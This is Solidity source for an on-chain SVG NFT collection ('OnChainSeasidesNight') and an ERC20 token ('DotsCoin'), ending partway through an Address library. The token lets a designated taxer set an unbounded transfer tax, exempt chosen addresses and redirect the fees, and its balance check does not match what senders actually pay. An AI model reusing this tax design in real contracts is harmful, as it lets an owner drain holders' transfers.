if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: seasides.sol
contract OnChainSeasidesNight is ERC721, ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
Counters.Counter private _tokenIdCounter;
uint private constant maxTokensPerTransaction = 30;
uint256 private tokenPrice = 30000000000000000; //0.03 ETH
uint256 private constant nftsNumber = 3333;
uint256 private constant nftsPublicNumber = 3300;
constructor() ERC721("OnChainSeasides Night", "OSN") {
_tokenIdCounter.increment();
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function safeMint(address to) public onlyOwner {
_safeMint(to, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function toHashCode(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "000000";
}
uint256 i;
bytes memory buffer = "000000";
for(i=6;i>0;i--) {
if (value % 16 < 10)
buffer[i-1] = bytes1(uint8(48 + uint256(value % 16)));
else
buffer[i-1] = bytes1(uint8(55 + uint256(value % 16)));
value /= 16;
}
return string(buffer);
}
function getGrass(uint256 value, uint256 is_mirror) public pure returns (string memory) {
uint256 i;
uint256 prt;
int256 sym;
uint256 pos;
uint256 seed;
uint256 ps;
uint256 psx;
uint256 finale=1;
bytes memory buffer = new bytes(250);
uint256[6] memory gtypes;
gtypes[0] = 563891157643448204000202434637890680663763947839870365052682593692495482209;
gtypes[1] = 1002862760941180669446230775124823108274825368678245159754096610961814;
gtypes[2] = 563871000271014004664722370698789260236686074535032282236861359775136052288;
gtypes[3] = 1003329826285104973259814183739832352502149867278345049274004408492605;
gtypes[4] = 564017709498396033660054424834310877655732749413952956046917965314005819035;
gtypes[5] = 1002137238139483205643623885946750710585681910777426838629649942020236;
finale = 0;
seed = gtypes[value*2-2];
for(psx=ps=pos=i=0;i<70;i++) {
prt = seed / (750 ** ps++);
sym = int256(prt % 750);
if (sym == 749) {
if (finale == 1)
break;
finale = 1;
seed = gtypes[value*2-1];
ps=0;
continue;
}
if (psx%2==0) {
if (is_mirror==1)
sym = 400 - sym;
else
sym += 550;
if (i>0)
buffer[pos++] = ' ';
} else {
if (i>0)
buffer[pos++] = ',';
sym += 500;
}
if (sym<0) {
sym=-sym;
buffer[pos++] = bytes1(uint8(45));
}
if (sym<10)
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
else if (sym<100) {
buffer[pos++] = bytes1(uint8(48 + uint256(sym / 10)));
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
} else if (sym<1000) {
buffer[pos++] = bytes1(uint8(48 + uint256(sym / 100)));
buffer[pos++] = bytes1(uint8(48 + uint256((sym / 10)%10)));
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
} else {
buffer[pos++] = bytes1(uint8(48 + uint256(sym / 1000)));
buffer[pos++] = bytes1(uint8(48 + uint256((sym / 100)%10)));
buffer[pos++] = bytes1(uint8(48 + uint256((sym / 10)%10)));
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
}
psx++;
}
bytes memory buffer2 = new bytes(pos);
for(i=0;i<pos;i++)
buffer2[i] = buffer[i];
return string(buffer2);
}
function getShip(uint256 value, uint dir, uint is_mirror) internal pure returns (string memory) {
uint256 i;
uint256 prt;
uint256 sym;
uint256 pos;
uint256 seed;
uint256 ps;
uint256 finale=1;
bytes memory buffer = new bytes(300);
uint256[10] memory stypes;
stypes[0] = 4039953958419306012627391607069051694356360220713754655043968660016;
stypes[1] = 63106266081136485859406661386793985037851232673778661;
stypes[2] = 161568093605294050650559196328221936718722000674656809180508552713619040;
stypes[3] = 63096482884095845761084638724950672236119832596577537;
stypes[4] = 6461049781969783938359086369026346968766711308334899858451023002616666897676;
stypes[5] = 63120086296825990194702960480301658791387552688699008;
stypes[6] = 161512793322334258241850556133413063336821761930288295517787616106338882;
stypes[7] = 986070141659197590531764122903072004020;
stypes[8] = 161390119281273703232398765386984498139365471992159755174679367096177400;
stypes[9] = 100972004999646208506838990436000093602246360157725215130052251;
if (value < 7) {
seed = stypes[value-1];
} else {
finale = 0;
seed = stypes[value==7?6:8];
}
uint256 shift_y = is_mirror==1 ? 560 : 460;
for(ps=pos=i=0;i<70;i++) {
prt = seed / (200 ** ps++);
sym = prt % 200;
if (sym == 150) {
if (finale == 1)
break;
finale = 1;
seed = stypes[value==7?7:9];
ps=0;
continue;
}
if (ps%2==0) {
if (is_mirror==1)
sym = 1000 - (sym + 320);
else
sym = sym + shift_y;
if (i>0)
buffer[pos++] = ',';
} else {
if (dir == 1)
sym += 100;
else
sym = 1000 - (sym + 100);
if (i>0)
buffer[pos++] = ' ';
}
if (sym<10)
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
else if (sym<100) {
buffer[pos++] = bytes1(uint8(48 + uint256(sym / 10)));
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
} else {
buffer[pos++] = bytes1(uint8(48 + uint256(sym / 100)));
buffer[pos++] = bytes1(uint8(48 + uint256((sym / 10)%10)));
buffer[pos++] = bytes1(uint8(48 + uint256(sym % 10)));
}
}
bytes memory buffer2 = new bytes(pos);
for(i=0;i<pos;i++)
buffer2[i] = buffer[i];
return string(buffer2);
}
function getPalm(uint256 num) internal pure returns (string memory) {
string[4] memory palm;
palm[0]='M-137,104C-32,27,573,28,762,263 C582,95,180,57,23,87c105-7,598,17,757,244 c-60-74-241-182-524-212c241,55,435,181,475,265 C587,207,260,141,220,133c18,4,375,100,461,262 C504,164,19,125-4,123c141,15,524,86,641,281 C493,229,162,170,122,163c141,51,245,127,273,197 C340,270,68,139-39,146c139,51,242,127,269,196 C117,195-84,150-84,150L-758,97L-137,104z';
palm[1]='M-144,304c9-106,334-319,580-175 C236,41-2,150-67,232c52-44,331-195,555-47 c-77-45-241-78-410-5c162-35,344,8,417,70 C307,140,92,197,65,204c12-2,263-42,407,72 c-236-144-520-8-534-1C24,239,273,167,455,301 C270,193,57,257,31,265c107-3,209,27,267,80 C214,284-11,263-65,308c106-3,207,28,264,80 C48,296-87,326-87,326L-533,433L-144,304z';
palm[2]='M173,299c80-78,288-143,525-156c123-6,235,2,323,22 c11,1,21,2,32,4c-87-30-205-48-339-49c-210-0-400,43-495,107 c84-74,293-128,528-127c217,0,395,47,466,114l435,66 c0,0-500-18-509-26c-175,21-328,81-402,151c56-69,193-132,358-163 c-15-2-30-4-47-5c-22,1-46,2-70,5C796,262,636,324,560,396 c56-70,195-133,362-164c-44,0-91,3-139,8 c-213,23-400,87-490,161c76-82,282-158,521-184 c92-10,179-11,255-5c-0-0-0-0-0-0c-89-14-204-14-330,1 C524,241,338,309,250,384c75-83,280-163,519-193 c21-2,42-4,63-6c-45,1-92,5-141,11c-213,27-400,95-488,170 c75-83,280-163,519-193c26-3,53-6,78-8c-42-1-87-1-133,0 C454,175,265,230,173,299z';
palm[3]='M1086,14C982-63,415-11,256,269C412,64,785-11,934,9 c-99,0-559,70-690,339c50-88,212-225,474-283 c-221,82-393,240-424,339C415,191,716,89,753,77 c-16,6-344,144-412,334C490,136,941,50,963,47 C832,76,478,189,384,418c120-210,426-305,463-316 c-128,69-220,164-241,245c44-106,289-276,391-277 c-126,69-217,163-237,243c94-175,279-243,279-243l438-99L1086,14z';
return palm[num-1];
}
function getGround(uint256 num) internal pure returns (string memory) {
string[7] memory ground;
ground[0] = '-30,898,-1357,1016,1298,1016';
ground[1] = '-11,927,431,952,663,921,845,945,1043,934,1043,1011,-8,1011';
ground[2] = '-11,927,156,912,222,941,284,931,1043,934,1043,1011,-8,1011';
ground[3] = '-11,927,425,969,875,952,1046,880,1043,934,1043,1011,-8,1011';
ground[4] = '-12,962,136,940,239,960,648,966,951,931,1041,938,1043,1011,-8,1011';
ground[5] = '894,933,722,948,666,900,666,900,664,890,646,890,645,900,482,900,481,890,462,890,461,900,461,900,364,967,247,961,102,946,-9,912,-12,1007,1039,1007,1043,930';
ground[6] = '800,951,1014,927,1039,1007,-12,1007,-10,940,81,941,175,962,647,927';
return ground[num-1];
}
function getSun(uint256 num) internal pure returns (string memory) {
uint256 suns;
suns = 712316151692331099684323100692331075717224135713226117576244139582262105;
if (num > 0)
suns = suns / (1000 ** (num*3));
string memory output = string(abi.encodePacked('cx="',toString((suns/1000000)%1000),'" cy="',toString((suns/1000)%1000), '" r="',toString(suns%1000),'"'));
return output;
}
function getMoon(uint256 num) internal pure returns (string memory) {
uint256 moons;
moons = 712316151692331099684323100692331075717224135713226117576244139582262105;
if (num > 0)
moons = moons / (1000 ** (num*3));
string memory output = string(abi.encodePacked('cx="',toString((moons/1000000)%1000+100),'" cy="',toString((moons/1000)%1000), '" r="',toString(moons%1000-50),'"'));
return output;
}
function getTwinMoon(uint256 num) internal pure returns (string memory) {
uint256 moons;
moons = 712316151692331099684323100692331075717224135713226117576244139582262105;
if (num > 0)
moons = moons / (1000 ** (num*3));
string memory output = string(abi.encodePacked('cx="',toString((moons/1000000)%1000-200),'" cy="',toString((moons/1000)%1000), '" r="',toString(moons%1000-100),'"'));
return output;
}
function tokenURI(uint256 tokenId) pure public override(ERC721) returns (string memory) {
uint256[16] memory xtypes;
string[5] memory colors;
string[28] memory parts;
string[8] memory mount1;
string[8] memory mount2;
uint256[10] memory params;
uint256 pos;
uint256 moonpos;
uint256 rand = random(string(abi.encodePacked('SeasidesNight',toString(tokenId))));
params[0] = 1 + ((rand/10) % 8);// ship
params[1] = 1 + (rand/100) % 2; // dir
params[2] = 35;
params[3] = 1 + ((rand/1000000) % 8); // mounts
params[4] = 1 + ((rand/100000000) % 6); // grass
params[5] = 1 + ((rand/1000000000) % 4); // palm
params[6] = 1 + ((rand/10000000000) % 7); // ground
params[7] = 1 + ((rand/100000000000) % 4); // sun
params[8] = 1 + ((rand/10000) % 37); // pallette
params[9] = 1 + ((rand/1000000000000) % 10); // lottery
mount1[0] = '78,444 -494,478 651,478';
mount1[1] = '999,392 865,417 806,420 743,451 529,478 1468,478';
mount1[2] = '463,449 403,457 351,431 177,478 681,478';
mount1[3] = '1004,457 848,464 760,450 608,455 419,433 320,454 135,409 -8,424 -8,478 1004,478';
mount1[4] = '226,422 177,414 83,344 -8,367 -12,478 328,478';
mount1[5] = '999,392 865,417 806,420 743,451 529,478 1468,478';
mount1[6] = '564,443 463,457 375,478 793,478 721,467 612,414';
mount1[7] = '1013,420 853,410 732,441 637,431 608,446 390,466 240,457 186,430 94,447 -16,420 -87,478 1016,478';
mount2[0] = '162,392 -307,478 632,478';
mount2[1] = '';
mount2[2] = '';
mount2[3] = '';
mount2[4] = '991,410 826,454 611,478 1262,478';
mount2[5] = '';
mount2[6] = '156,438 47,478 321,478 214,461';
mount2[7] = '';
xtypes[0] = 5165462586977505248984271025794477445148782908573069521325498340212639;
xtypes[1] = 490024044101034400102396419179934085738779419751960710510484619019681904;
xtypes[2] = 4043991994607814950473362577238312297018937036519365143342896853810329;
xtypes[3] = 1379064599573736476104814799994272434465744258265921437097553789059202;
xtypes[4] = 6056088629583070600596400423476580059718415009582353316298341503465113;
xtypes[5] = 138040297937156288773826099078203347749133755730926697092887565253488215;
xtypes[6] = 1763486549546207954426324916291393168705773800679768336312337964145309337;
xtypes[7] = 948653233183009513098268805292360185252612190882203913941189109236825;
xtypes[8] = 1765596160030049122294337924707755907300568572202546387173451426705702110;
xtypes[9] = 571213962168160818623884462797953331024439701527741670201332697661529;
xtypes[10] = 1759945423641250114310949500884067660757318022344968985317724270290468863;
xtypes[11] = 634962523324887909409742165431514640856016078396772822011217464449368064;
xtypes[12] = 1318233657466206738337996551415773989873200879281323137549919882303230302;
xtypes[13] = 20786449684869734852663949139680728584860474635680334261919687729872949;
xtypes[14] = 321076936879265745525548114627410433723373509773187045336;
pos = (params[2]-1) * 4;
colors[0] = toHashCode(xtypes[pos/10] / (16777216 ** (pos%10)) % 16777216);
pos = (params[2]-1) * 4 + 1;
colors[1] = toHashCode(xtypes[pos/10] / (16777216 ** (pos%10)) % 16777216);
pos = (params[2]-1) * 4 + 2;
colors[2] = toHashCode(xtypes[pos/10] / (16777216 ** (pos%10)) % 16777216);
pos = (params[2]-1) * 4 + 3;
colors[3] = toHashCode(xtypes[pos/10] / (16777216 ** (pos%10)) % 16777216);
moonpos = (params[8]-1) * 4;
colors[4] = toHashCode(xtypes[moonpos/10] / (16777216 ** (moonpos%10)) % 16777216);
parts[0] = '<svg width="1000px" height="1000px" viewBox="0 0 1000 1000" version="1.1" xmlns="http://www.w3.org/2000/svg"> <linearGradient id="SkyGradient" gradientUnits="userSpaceOnUse" x1="500.001" y1="999.8105" x2="500.0009" y2="4.882813e-004"> <stop offset="0.5604" style="stop-color:#'; // 2
parts[1] = '"/> <stop offset="1" style="stop-color:#'; // 3
parts[2] = '"/> </linearGradient> <rect x="0.001" fill="url(#SkyGradient)" width="1000" height="999.811"/> <polygon opacity="0.15" fill="#'; // 3
parts[3] = string(abi.encodePacked('" points="',mount2[params[3]-1],'"/> <polygon opacity="0.1" fill="#')); // 3
parts[4] = string(abi.encodePacked('" points="',mount1[params[3]-1],'"/> <rect x="0" y="478" opacity="0.2" fill="#')); // 3
parts[5] = '" width="1000" height="734.531"/> <rect x="0" y="563.156" opacity="0.3" fill="#'; // 3
parts[6] = '" width="1000" height="649.315"/> <g> <path xmlns="http://www.w3.org/2000/svg" opacity="0.55" fill="#'; // 3
parts[7] = '" d="M8087,687c-158,0-320-3.15-469-3 c-293,0-616,10-701,10c-261,0-600-17-809-17 c-118,0-246,11-376,11c-158,0-320-10-469-10 c-293,0-379,10-574,10c-195,0-331-11-540-11 c-118,0-246,11-376,11c-158,0-320-10-469-10 c-293,0-616,17-701,17c-261,0-600-12-809-12 c-118,0-246,12-376,12c-103,0-263-9-469-9 c-92,0-181,2-260,2c-171,0-304,0-362,0c-261,0-330-0-330-0 v525l9053-6V688C9039,688,8217,687,8087,687z"/> <animateMotion path="M 0 0 L -8050 20 Z" dur="6s" repeatCount="indefinite" /> </g> <g> <path xmlns="http://www.w3.org/2000/svg" fill="#'; // 3
parts[8] = '" d="M8097,846c-158,0-319-7-470-7c-285,0-443,20-651,20 c-172,0-353-5-449-9c-101-4-247-20-413-20c-116,0-243,26-373,26 c-158,0-320-31-471-31c-285,0-352,36-560,36c-172,0-390-31-556-31 c-116,0-243,26-373,26c-158,0-320-31-471-31c-285,0-442,35-650,35 c-172,0-353-5-449-9c-101-4-247-20-413-20c-116,0-245,25-375,25 c-158,0-322-13-474-13c-107,0-197,2-277,3c-133,1-243,0-372,0 c-172,0-308-0-308-0v364h9053V846C9038,846,8227,846,8097,846z"/> <animateMotion path="M 0 0 L -8050 40 Z" dur="6s" repeatCount="indefinite" /> </g> <g> <polygon fill="#'; // 3
parts[9] = string(abi.encodePacked('" points="',getShip(params[0],params[1],0), '"/> <polygon opacity="0.2" fill="#')); // 3
parts[10] = string(abi.encodePacked('" points="',getShip(params[0],params[1],1),'"/> <animateMotion path="m 0 0 h ',(params[1]==1 ? '':'-'),'5000" dur="8s" repeatCount="indefinite" /> </g>'));
parts[17] = string(abi.encodePacked('<radialGradient id="SunGradient" ',getSun(params[7]*2-2),' gradientUnits="userSpaceOnUse"> <stop offset="0.7604" style="stop-color:#')); // 1
parts[11] = '"/> <stop offset="0.9812" style="stop-color:#'; // 2
parts[12] = '"/> </radialGradient>';
parts[17] = '';
parts[11] = '';
parts[12] = '';
parts[22] = '<circle opacity="0.7" fill="#'; // 2
parts[23] = string(abi.encodePacked('" ',getMoon(params[7]*2-1),'/>'));
if (params[9] == 1){
parts[24] = '<circle opacity="0.5" fill="#'; // 2
parts[25] = string(abi.encodePacked('" ',getTwinMoon(params[7]*2-1),'/>'));
}
else{
parts[24] = '';
parts[25] = '';
}
parts[14] = '';
parts[15] = '';
parts[16] = '';
parts[20] = '';
parts[21] = '';
parts[19] = '</svg> ';
string memory output = string(abi.encodePacked(parts[0],colors[1],parts[1],colors[2]));
output = string(abi.encodePacked(output,parts[2],colors[2],parts[3] ));
output = string(abi.encodePacked(output,colors[2],parts[4],colors[2] ));
output = string(abi.encodePacked(output,parts[5],colors[2],parts[6] ));
output = string(abi.encodePacked(output,colors[2],parts[7],colors[2] ));
output = string(abi.encodePacked(output,parts[8],colors[2],parts[9] ));
output = string(abi.encodePacked(output,colors[2],parts[10],parts[17],colors[0] ));
output = string(abi.encodePacked(output,parts[11],colors[1],parts[12] ));
output = string(abi.encodePacked(output,parts[18],colors[1],parts[13],parts[22],colors[4],parts[23]));
output = string(abi.encodePacked(output,parts[24],colors[4],parts[25],parts[20],colors[3],parts[15]));
output = string(abi.encodePacked(output,getGround(params[6]), parts[16], parts[19]));
string[11] memory aparts;
aparts[0] = '[{ "trait_type": "Ship", "value": "';
aparts[1] = toString(params[0]);
aparts[4] = '" }, { "trait_type": "Hills", "value": "';
aparts[5] = toString(params[3]);
aparts[6] = '" }, { "trait_type": "Moon Color", "value": "';
aparts[7] = toString(params[8]);
aparts[8] = '" }, { "trait_type": "Coast", "value": "';
aparts[9] = toString(params[6]);
aparts[10] = '" }]';
string memory strparams = string(abi.encodePacked(aparts[0], aparts[1], aparts[4], aparts[5]));
strparams = string(abi.encodePacked(strparams, aparts[6], aparts[7], aparts[8], aparts[9], aparts[10]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "OnChainSeasides Night", "description": "Ruthless, cruel, dangerous night of metaverse seasides. No grass, No palms, Extremely surfy. Completely generated OnChain.", "attributes":', strparams,', "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function claim() public {
require(_tokenIdCounter.current() <= 333, "Tokens number to mint exceeds number of public tokens");
_safeMint(msg.sender, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function BuyNFTs(uint tokensNumber) public payable {
require(tokensNumber > 0, "Wrong amount");
require(tokensNumber <= maxTokensPerTransaction, "Max tokens per transaction number exceeded");
require(_tokenIdCounter.current().add(tokensNumber) <= nftsPublicNumber, "Tokens number to mint exceeds number of public tokens");
require(tokenPrice.mul(tokensNumber) <= msg.value, "Ether value sent is too low");
for(uint i = 0; i < tokensNumber; i++) {
_safeMint(msg.sender, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
}
}
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|
pragma solidity ^0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract DotsCoinCore is ERC20("DotSwaps", "DOTS") {
using SafeMath for uint256;
address internal _taxer;
address internal _taxDestination;
uint internal _taxRate = 0;
mapping (address => bool) internal _taxWhitelist;
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint256 taxAmount = amount.mul(_taxRate).div(100);
if (_taxWhitelist[msg.sender] == true) {
taxAmount = 0;
}
uint256 transferAmount = amount.sub(taxAmount);
require(balanceOf(msg.sender) >= transferAmount, "insufficient balance.");
super.transfer(recipient, amount);
if (taxAmount != 0) {
super.transfer(_taxDestination, taxAmount);
}
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
uint256 taxAmount = amount.mul(_taxRate).div(100);
if (_taxWhitelist[sender] == true) {
taxAmount = 0;
}
uint256 transferAmount = amount.sub(taxAmount);
require(balanceOf(sender) >= transferAmount, "insufficient balance.");
super.transferFrom(sender, recipient, amount);
if (taxAmount != 0) {
super.transferFrom(sender, _taxDestination, taxAmount);
}
return true;
}
}
contract DotsCoin is DotsCoinCore, Ownable {
mapping (address => bool) public minters;
constructor() {
_taxer = owner();
_taxDestination = owner();
}
function mint(address to, uint amount) public onlyMinter {
_mint(to, amount);
}
function burn(uint amount) public {
require(amount > 0);
require(balanceOf(msg.sender) >= amount);
_burn(msg.sender, amount);
}
function addMinter(address account) public onlyOwner {
minters[account] = true;
}
function removeMinter(address account) public onlyOwner {
minters[account] = false;
}
modifier onlyMinter() {
require(minters[msg.sender], "Restricted to minters.");
_;
}
modifier onlyTaxer() {
require(msg.sender == _taxer, "Only for taxer.");
_;
}
function setTaxer(address account) public onlyOwner {
_taxer = account;
}
function setTaxRate(uint256 rate) public onlyTaxer {
_taxRate = rate;
}
function setTaxDestination(address account) public onlyTaxer {
_taxDestination = account;
}
function addToWhitelist(address account) public onlyTaxer {
_taxWhitelist[account] = true;
}
function removeFromWhitelist(address account) public onlyTaxer {
_taxWhitelist[account] = false;
}
function taxer() public view returns(address) {
return _taxer;
}
function taxDestination() public view returns(address) {
return _taxDestination;
}
function taxRate() public view returns(uint256) {
return _taxRate;
}
function isInWhitelist(address account) public view returns(bool) {
return _taxWhitelist[account];
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
